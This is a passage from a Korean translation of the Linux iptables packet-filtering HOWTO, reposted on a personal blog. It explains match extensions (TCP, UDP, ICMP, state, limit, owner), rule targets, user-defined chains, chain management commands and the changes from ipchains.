되지않는 규칙을 지정하기 위하여 '-f' 앞에 '!' 를 붙이는 것도 가능하다.



일반적으로 , 첫번째 분절에 필터링이 적용되어 DROP 되면 목적지 에서 다른
분절들의 재합성이 되지 않으므로, 두번째 이상의 분절이 그냥 지나가도록하는 것도
안전한 것으로 간주 된다. 그러나 단순히 분절들을 전달하는 것만으로 호스트를
크래쉬가 생기는 버그가 알려져 있다. 여러분이 결정할 일이다.



네트워크 헤더에 대한 주의 : 잘못 구성된 패킷들은 이러한 시험을 할때 DROP
되었다. (TCP, UDP, ICMP 패킷중 길이가 너무 짧아 파이어월 코드가 포트나 ICMP
코드와 형태를 읽을 수 없는 경우). 왜냐하면 TCP 분절은 8번째 위치부터 시작되기
때문이다.



예로, 다음과 같은 규칙은 192.168.1.1 로 향하는 분절을 DROP 시킨다.


# iptables -A OUTPUT -f -d 192.168.1.1 -j DROP
#



iptables 의 확장 : 새로운 대상(Matches)


iptables는 확장 가능하다. 즉 새로운 형태를 제공하기 위하여 iptables와 커널
모두가 확장 가능하다는 의미이다.



이중 일부는 표준적이고 다른 것은 이색적이다. 다른사람에 의해서도 확장 은
만들어질 수도 있으며 독립적으로 배포될 수 있다.



정상적으로 커널 확장은 커널 모듈 하부 디렉토리에 존재한다.
(/lib/modules/2.3.15/net). 이것은 요구에 의하여 적재된다. 그러므로 직 접 이들
모듈을 적재할 필요는 없다.



iptables의 확장들은 공유라이버러리 형태로 보통 /usr/local/lib/iptables 에
위치한다. 배포판은 이것을 /lib/iptables나 /usr/lib/iptables에 넣으 려 할
것이다.



확장은 두가지 형태이다. : 새로운 타겟(target), 새로운 적용(match) 아래에
새로운 타겟에 대하여 이야기 할 것이다. 어떤 프로토콜은 자동으로 새로운
테스트를 제공하는데 현재로는 TCP, UDP, ICMP 에 대해서 아래에 보여 줄 것이다.



이것을 위해서 '-p' 옵션 뒤에 지정하는데 그러면 확장을 적제할 것이다. 명백히
할려면 '-m' 옵션으로 확장을 적재하고 확장 옵션을 사용가능하게 할 수 있다.



확장에 대한 도움을 얻으려면, 적제하는 옵션('-p', '-j', '-m')을 '-h'나 '--help'
다음에 지정하면 된다.



TCP 확장


TCP 확장은 '--protocol tcp' 가 지정되고 다른 적용이 지정되지 않으면 자동으로
적제된다. 이것은 다음과 같은 옵션을 제공한다.



--tcp-flags

'!' 옵션을 사용한다면 이것 뒤에 두개의 단어를 사용한다. 첫번째 것은 검사하고자
하는 지시자 리스트의 마스크이다. 두번째 단어는 지시자에게 어떤것이 설정 될
것인지를 말해준다. 예를들어,


# iptables -A INPUT --protocol tcp --tcp-flags ALL SYN,ACK -j DENY


이것은 모든것이 검사되어야 함을 말한다.('ALL'은 `SYN,ACK,FIN,RST,URG,PSH' 와
같다.) 그러나 SYN 과 ACK 만 설정된다. 'NONE'는 지시자가 없음 을 말한다.


--syn

'!' 옵션이 선행될 수 있다. 이것은 '--tcp-flags SYN,RST,ACK,SYN'의 약어이다.


--source-port

'!' 옵션이 선행될 수 있다. 이후에 하나의 TCP 포트나 포트의 범위를 지정한다.
/etc/services 에 기록된 것과 같은 포트 이름이 사용될 수 도 있고 숫자로 나타낼
수도 있다. 범위는 두개르 포트 이름을 '-' 으 로 연결해서 사용하거나 (커거나
같은경우를 위해서) 하나의 포트 뒤에 '-'를 사용하거나 (작거나 같은 경우를
위해서) 하나의 포트 앞에 '-' 를 덧붙일 수 있다.


--sport

이것은 '--source-port'와 동의어이다.


--destination-port



--dport

는 위의 내용과 같으나 목적 지를 지정한다.


--tcp-option

'!' 나 숫자가 옵션에 선행될 수 있는데 숫자가 앞에 올경우 그 숫자 와 TCP 옵션이
같은 경우의 패킷을 검사한다. TCP 옵션을 검사하려 할 때 완전한 TCP 헤더를
갖지않는 것은 자동으로 DROP 된다.



TCP 지시자에대한 설명


가끔 한쪽 방향에서의 TCP 접속만 허랑하고 다른 방향에서의 접속을 불허하 는 것이
유용하다. 예로, 여러분은 외부 WWW 서버로의 접속은 허락하며 그 서버로 부터의
접속은 불허하기를 원할 것이다.



단순하게 그 서버로부터 오는 TCP 패킷을 막으면 된다고 생각할 것이다. 그러 나,
불행히도 작동하기 위해서 TCP 접속은 양방향의 패킷을 요구한다.



해법은 접속을 요구하는 패킷만 막는 것이다. 이러한 패킷을 SYN 패킷이라한다.
(물론, 기술적으로 SYN 지시자 셋을 갖는 패킷이 있다. 그리고 FIN 과 ACK 지시
자는 지워진다. 그러나 간단히 그것을 SYN 패킷이라고 한다.) 이러한 패킷만
불가능으로 만듬으로서 외부로 부터의 접속 시도를 막을 수 있다.



이러한 것을 위해서 '--syn' 지시자가 사용된다. : 이것은 프로토콜을 TCP 로
지정했을 때만 효과가 있다. 예를 들면, 192.168.1.1 로부터의 TCP 접속을 지
정하기 위하여 다음과 같이 하면 된다.

-p TCP -s 192.168.1.1 --syn



접속을 시작한 것 외의 모든 패킷을 지정하기 위하여 '!' 옵션이 선행될 수 있다.



UDP 확장


이 확장은 '--protocol udp'가 지정되고 적용이 저정되지 않으면 자동으로
적재된다. 이것은 '--source-port', '--sport', '--destination-port', '-dport'를
지원하고 내용은 TCP 설명에서 자세히 나왔다.



ICMP 확장


이 확장은 '--protocol icmp'가 지정되고 그 적용이 지정되지 않으면 자동으로
적재된다. 이것은 단 하나의 새로운 옵션만 지원한다.:



--icmp-type

'!' 옵션이 선행될 수 있다. 이후에 ICMP 타입의 이름('host-unreachable') 이나
숫자형태 ('3'), 또는 숫자형태와 코드('/'로 분리 예. '3/3') 의 형 태가
사용된다. 사용할 수 있는 ICMP 형태의 이름의 리스트는 '-p icmp --help' 하면
나타난다.



그외의 적용 확장


Netfilter 패키지의 다른 확장은 시험적인 확장이다. 이것은 (설치 되어있다면)
'-m' 옵션으로 활성화 된다.


mac

이 모듈은 '-m mac' 또는 '--match mac' 이라고 함으로 지정할 수 있다. 이것은
들어오는 패킷의 이더넷 주소를 검사한다. 그러므로 입력 체인에 서만 유용하다.
이것은 하나의 옵션만 제공한다.


--mac-source

'!' 옵션이 선행 될 수 있다. 이후에 콜론으로 분리된 16진수 숫자의 이더넷 주소가
온다. 예 '--mac-source 00:60:08:91:CC:B7'


limit

이 모듈은 '-m limit' 또는 '--match limit'이라고 함으로 지정할 수 있 다. 이것은
로그 메세지를 억제할때 처럼 적용검사의 속도를 제한하는데 사용한다. 1초에
주어진 숫자만큼의 적용만 검사한다. (기본값은 한 시간 에 3번, 최고 5번이다.)
이것은 두개의 옵션을 제공한다.


--limit

숫자가 따라온다 : 초당 평균 최대 적용 검사 수를 지정한다. 숫자뒤 에 시간단위를
지어할 수 도 있다. ('/second', '/minute', '/hour', '/day'형태이다. 예로,
'5/second' 또는 '5/s'가 가능하다)


--limit-burst

숫자가 따라온다. 위의 제한이 적용되기전의 최대 Burst(?) 를 제한 한다.


이 적용은 종종 로그의 속도를 제한하기위하여 LOG 타겟과 함께 사용된 다. 이것을
이해하기위하여 아래에 기본 제한설정을 하는 로그 패킷제한 을 보자.


# iptables -A FORWARD -m limit -j LOG


이 규칙에 도달될때까지 패킷은 로그될 것이다. 사실 Burst의 기본값은 5 이므로
처므ㅇ 5개의 패킷은 로그될것이다. 그 이후 얼마나 많은 패킷이 도달하든 간에
하나의 패킷이 로그되기전에 20분이 걸릴 것이다. 그리고 20분 동안 패킷 적용이
없으면 Burst 하나가 다시 생길 것이다. 패킷없이 100분 이 지나면 Burst는 완전이
원상 복구 될것이다. 처음 시작할때로 돌아가는 것 이다.



재복구 시간을 59시간 이상으로는 설정하지 못한다. 그러므로 평균속도를 하 루에
1개로 설정하였다면 Burst 속도는 3 이하가 되어야 한다.


owner

이 모듈은 지역에서 생성된 패킷의 생성자의 여러 특징을 적용하려고 한다. 이것은
출력 체인에만 사용되며 어떤 패킷들(ICMP ping 응답같은)은 소유자 가 없으므로
적용되지 않는다.


--uid-owner userid

유효한 사용자 id (숫자)의 프로세서가 생성한 패킷에 적용한다.

--uid-owner groupid

유효한 그룹 id (숫자)의 프로세서가 생성한 패킷에 적용한다.

--pid-owner processid

주어진 프로세서 id 의 프로세서가 생성한 패킷에 적용한다.

--sid-owner processid

세션 그룹내의 프로세서가 생성한 패킷에 적용한다.


unclean

이 시험적인 모듈은 정확히 '-m unclean' 또는 '--match unclean'으로 지정해
주어야 한다. 이것은 무작위의 여러 건전성 검사를 한다. 이것은 제대로 검사되지
않았고 안전성 도구로도 사용되지 못한다.(아마도 이것 은 무제를 더욱 힘들게 하고
버그 그 자체일 것이다.) 이것은 옵션이 없다.



상태 적용


가장 유용한 적용 기준은 'ip_conntrack' 모듈의 접속 추적 분석을 해석하는
'state' 확장이다. 이것을 강력히 추천한다.



'-m state'를 지정함으로 '--state' 옵션을 사용할 수 있는데 이후에 콤마로
분리되는 적용할 상태들의 리스트가 온다.('!' 지시자는 사용되어지지 않는 다.) 이
상태들은 ;


NEW

새로운 접속을 만드는 패킷


ESTABLISHED

존재하는 접속에 속하는 패킷 (즉, 응답 패킷을 가졌던 것)


RELATED

기존의 접속의 부분은 아니지만 연관성을 가진 패킷으로 . ICMP 에러 나 (FTP
모듈이 삽입 되어있으면) ftp 데이터 접속을 형성하는 패킷.


INVALID

어떤 이유로 확인할 수 없는 패킷: 알려진 접속과 부합하지 않는 ICMP 에러와 'out
of memory' 등을 포함한다. 보통 이런 패킷은 DROP 된다.



7.4 타겟 지정


이제 패킷에서 어떤 검사를 할 수 있는지를 알았다. 이제 우리의 검사에 일치 하는
패킷을 어떻게 할 것인지를 말하는 것을 알아야 한다. 이것을 규칙 타겟 이라고
한다.



두개의 이미 만들어진 단순한 타겟이 있다. : DROP 과 ACCEPT. 이미 이것에
대해서는 이야기를 한 적이 있다. 적용이 되는 패킷과 그것의 타겟이 위의 두 개중
하나라면 더이상의 참고할 규칙은 없다. : 패킷의 운명은 결정 되는 것 이다.



이미 만들어진 두개의 타겟외에 두가지 형태의 타겟이 있다.: 확장과 사용자 지정의
체인들 이다.



사용자 지정의 체인들


ipchains로 부터 상속되는 iptables의 강력한 기능중의 하나는 능력되는 사용 자가
기존의 세개의 체인(입력, 출력, 포워드)외에 새로운 체인을 생성할 수 있다는
것이다. 모임의 결과 사용자 지정의 체인은 그것을 구분하기 위하여 소문 자로
나타낸다. (아래 전체 체인에 대한 작용 부분에서 어떻게 사용자 지정의 새로운
체인을 만드는지 기술할 것이다.)



타겟이 사용자 지정의 체인인 규칙에 패킷이 맞으면 패킷은 사용자 지정의 체인을
따라 움직이게 된다. 그 체인이 패킷의 운명을 결정하지 못하면 그리고 그 체인에
따른 이송이 끝나면, 패킷은 현제 체인의 다음 규칙으로 돌아온다.



그림을 보자. 두개의 체인이 있고 그것이 입력과 테스트라는 사용자 지정의 체인이
라고 가정하자.


          `INPUT'                         `test'
         ----------------------------    ----------------------------
         | Rule1: -p ICMP -j DROP   |    | Rule1: -s 192.168.1.1    |
         |--------------------------|    |--------------------------|
         | Rule2: -p TCP -j test    |    | Rule2: -d 192.168.1.1    |
         |--------------------------|    ----------------------------
         | Rule3: -p UDP -j DROP    |
         ----------------------------



192.168.1.1 로부터 와서 1.2.3.4 로 향하는 TCP 패킷이 있다고 가정한다. 이것은
입력 체인으로 들어온다. Rule1 을 검사한다. 맞지 않음. Rule2 맞음. 그것의 타겟
은 테스트, 고로 다음 검사할 규칙은 테스트의 시작이다. 테스트의 Rule1 이 맞다.
그러나 이것이 타겟을 지정하지 않는다. 그러므로 다음 규칙이 검사된다. Rule 2.
맞지 않다. 그 체인의 끝에 도달했다. 다시 입력 체인으로 돌아가서 Rule3 을 검사
한다. 그것도 맞지 않다.



여기서 패킷의 이동경로를 그림으로 나타냈다.

                                v    __________________________
         `INPUT'                |   /    `test'                v
        ------------------------|--/    -----------------------|----
        | Rule1                 | /|    | Rule1                |   |
        |-----------------------|/-|    |----------------------|---|
        | Rule2                 /  |    | Rule2                |   |
        |--------------------------|    -----------------------v----
        | Rule3                 /--+___________________________/
        ------------------------|---
                                v



사용자 지정의 체인에서 대를 사용자 지정의 체인으로 갈수 있다. (그러나 루프 를
돌수는 없다. 루프를 발견하게 되면 패킷은 DROP 된다.)



iptables로의 확장 : 새로운 타겟


타겟의 다른 형태는 확장이다. 타겟 확장은 커널 모듈로 구성된다. 그리고 iptables
에 대한 선택적 확장은 새로운 명령행의 옵션을 제공한다. 기본적으로 넷필터
배포에 포함된 몇몇의 확장은 다음과 같다.


LOG

일치하는 패킷의 커널 로그를 제공한다. 이것은 부가의 옵션을 제공한다.

--log-level

레벨 숫자나 이름이 따라온다. 유효한 이름은 (상황에 따라 다르다) 'debug'
'info', 'notice', 'warning', 'err', 'crit', 'alert', 'emerg' 이고 이것 은 각각
숫자 7 에서 0 에 대응한다. 이런 레벨에 대한 설명은 syslog.conf 의 man 페이지를
보라.


--log-prefix

14자 까지의 문장이 따라온다. 이 메세지는 로그 메세지의 시작부분으로 보내져서
확인에 사용될 수 있다.


이 모듈은 'limit' 타겟 다음에 사용하면 가장 효과적이다. 그래서 로그가 넘
지나지 않도록 할 수 있다.


REJECT

이 모듈은 'DROP'과 같은 효과를 나타낸다. 다만, 'port unreachable' 이라는 에러
메세지를 ICMP 로 보낸다. 주의할 것은 ICMP 에러 메세지는 다음의 경우 보내 지지
않는다 ( RFC 1122 를 보라) :


검사된 패킷이 ICMP 에러메세지이거나나 알수 없는 ICMP 형태인 경우
검사된 패킷이 헤더가 없는 분절인 경우
너무 많은 ICMP 에러 메세지를 그 목적지로 보낸 경우.

REJECT 는 '--reject-with'라는 옵션을 가지는데 이것은 사용할 응답 패킷을
변경한다. 자세한 것은 메뉴얼 페이지를 보라.



특별한 미리 만들어진 타겟


두개의 미리 만들어진 타겟이 있다 : RETURN, QUEUE



RETURN은 한 체인의 끝으로 보내지는 것과 같은 효과가 있다. : 미리 만들어진 체
인의 경우 그 체인의 정책은 실행이다. 사용자 정의 체인의 경우 이 체인으로 점프
하는 규칙의 바로 다음인 이전 체인으로 이동한다.



QUEUE은 특별한 타겟으로, 사용자공간의 작업을 위해 패킷을 대기하도록 한다. 패킷
을 위해서 대기하고있는 것이 없다면(즉, 이 패킷을 다룰 프로그램이 아직 씌어져
있지 않다면) 패킷은 DROP 될 것이다.



7.5 전체 체인에 대한 작용.


iptables의 유용한 기능주 하나는 여러 관계가 있는 규칙을 하나의 체인속으로
그룹화 하는 것이다. 체인의 이름은 어떤 것을 사용할 수도 있으나 미리 만들어 진
체인과의 혼동을 막기 위하여 소문자를 사용하기를 권한다. 체인의 이름은 16 자
까지 가능하다.



새오룬 체인 생성


새로운 체인을 만들어 보자. 나는 매우 상상력이 좋은 사람이므로 이것을 테스트
라고 부르기로 하겠다. '-N' 또는 '--new-chain' 옵션을 사용한다.


# iptables -N test
#



단순하다. 이제 이 체인에 상세한 규칙을 적용할 수 있다.



체인 제거


체인을 제거하는 것도 단순하ㄷ. '-X' 나 '--delete-chain' 을 사용한다.


# iptables -X test
#



체인을 제거 하는데는 몇가지 제한이 있다. 이것은 비어있어야 한다. (아래의 체인
비우기를 보라) 그리고 그것은 다른 어떤 규칙의 타겟도 아니어야 한다. 미리
만들어진 세개의 체인은 제거할 수 없다.



체인의 이름을 지정하지 않으면 모든 사용자 정의의 체인은 제거된다.



체인 비우기


하나의 체인의 모든 규칙을 비우는 간단한 방법이 있으니, '-F' ('--flush')
명령이다.


        # iptables -F forward
        #



체인을 지정하지 않으면 모든 체인의 규칙이 지워진다.



체인 규칙 나열하기


한 체인의 모든 규칙은 '-L' 명령으로 나열할 수 있다.



각 사용자 정의의 체인을 나열했던 'refcnt' 는 그 체인을 그들의 타겟으로하 는
규칙들의 번호이다. 체인이 제거되기 위해서는 이것이 '0' 으로 되어야 한다.
(그리고 그 체인은 비어야 한다)



체인의 이름이 생략되면 비어있는 것을 포함한 모든 체인이 나열된다.



'-L' 명령에 따르는 옵션은 세개가 있다. '-n' (numeric) 옵션은 iptables가
여러분이 DNS 요구를 필터링 아웃한 경우나 DNS가 적절이 설정되어 있지 않다면
오랜 시간이 걸리는, IP 주소를 찾는 것을 예방하는 아주 유용한 옵션이다. 이것 은
TCP와 UDP 포트가 이름이 아닌 숫자로 출력되도록 하기도 한다.



'-v' 옵션은 규칙의 자세한 정보(패킷과 바이트 카운터, TOS 비교, 인터페이서와
같은)를 나타낸다.



패킷과 바이트 카운트는 'K'(1000), 'M'(1,000,000), 'G'(1,000,000,000) 와 같은
접미어와 함께 나타난다. '-x' (확장 수) 지시자를 사용하면 얼마나 큰 숫자든 전
체 숫자가 나타난다.



카운트 리셋트 ('0'으로 만들기)


이것은 카운트를 리셋하는데 유용하다. 이것은 '-Z' ('--zero') 옵션으로 가능하다.



이것의 문제점은 리셋하기 직전의 카운트 값을 알필요가 있을 때가 가끔 있다는 것
이다. 이러한 경우의 예로, 어떤 패킷이 '-L' 과 '-Z' 명령 사이에 지나갈 수 있다.
이런이유로 카운트를 읽는 것과 동시에 리셋하기위해서 '-L' 과 '-Z' 명령을 같이
사용할 수 있다.



정책 설정


우리가 이전 체인을 패킷이 어떻게 지나가는가를 의논할 때, 미리 만들어진 체인의
끝에 패킷이 다다렀을때 무슨 일이 일어날 것인가를 설명하였다. 이 경우 체인의
정책이 그 패킷의 운명을 결정한다. 미리 만들어진 체인(입력, 출력, 포워드)만이
정책을 가지는데, 이것은 사용자 정의의 체인의 끝에 다다른 패킷의 이동은 이전
체인에서 요약되어지기 때문이다.



정책은 ACCEPT 또는 DROP 이 될수 있다.



ipchains와 ipfwadm을 사용하기


배포되는 넷필터에는 ipchains.o 와 ipfwadm.o 라는 모듈이 있다. 이것을 여러 분의
커널에 포함시키면 이전과 똑 같이 ipchains 나 ipfwadm을 사용할 수 있 다. ( 주의
: 이들은 iptables.o, ip_conntrack.o, ip_nat.o와 호환성이 없다)



이것은 아직 한동안은 지원될 것이다. 이들을 완전히 대치하는 안정판이 나오 는데
까지는 2 * [대치할 것이라는 발표 - 첫번째 안정판] 이라는 공식이 적 용된다고
생각한다.



즉, ipfwadm의 경위 이것의 지원이 종료될 때는 :


2 * [October 1997 (2.1.102 release) - March 1995 (ipfwadm 1.0)]
        + January 1999 (2.2.0 release)
    = November 2003.



그리고 ipchains의 경우 이것의 지원이 종료될 때는 :


2 * [August 1999 (2.3.15 release) - October 1997 (2.2.0 release)]
        + January 2000 (2.3.0 release?)
    = September 2003.


그러므로, 2004년 까지는 걱정할 필요가 없을 것이다.


8. iptables와 ipchains의 차이점


첫째로, 미리 만들어진 체인의 이름들이 소문자에서 대문자로 바뀌었는데 이것은
입력과 출력 체인은 이게 지역 넷으로 향하는 그리고 지역에서 생성된 패킷만을
적용하기 때문이다. 이것은 모든 들어오는것과 나가는 패킷을 다룬다.
'-i' 지시자는 들어오는 인터페이스만 의미하고 입력 과 포워드 체인 에서만
작동한다. 포워드 나 출력 체인에 사용되었던 '-i' 는 '-o'로 바꿔야 한다.
이제 TCP 와 UDP 포트는 --source-port 또는 --spotr (또는 --destination-port /
--dport) 옵션과 함께 사용되어져야 할 필요가 있고 '-p tcp' 또는 '-p udp' 옵션과
함께 사용되어져야 한다. 그러면 이것은 TCP 또는 UDP 확장을 각각 적재 할 것이다.
(ipt_tcp 와 ipt_udp 모듈을 수동으로 적제 하기위해서 포함 시킬 수도 있다.)
TCP -y 지시자는 --syn으로 바뀌었고 `-p tcp'다음에 와야 한다.
DENY target 는 DROP 으로 바뀌었다.
Zeroing single chains while listing them works.
만들어진 체인을 '0'으로하면 정책 카운터도 지워진다.
체인을 나열하는 것은 카운트의 스넵샷을 제공한다.
REJECT 와 LOG 는 확장된 target이다. 즉, 이것들은 독립된 커널 모듈이다는
의미이다.
체인 이름은 16자 까지 가능하다.
MASQ 와 REDIRECT 는 더이상 target 이 아니다. iptables은 패킷을 변화 시키지
않는다. 이것을 위해서 NAT라는 하부구조가 있다. 이것은 ipnatctl 하우두를
읽어보아라.
그 외의 것들은 잊어먹었다.
===============================================================================
반응형

'OS > LINUX' 카테고리의 다른 글

[LINUX] bonding  (0) 2008.02.11
iptables 추가  (0) 2007.11.21
리눅스 & 유닉스에서 화일 갯수 세기  (0) 2007.10.29
텔넷 putty ssh-keygen으로 자동 로그인하기  (0) 2007.10.26
LINUX 방화벽 프로그램 iptables  (0) 2007.10.26
Posted by [PineTree]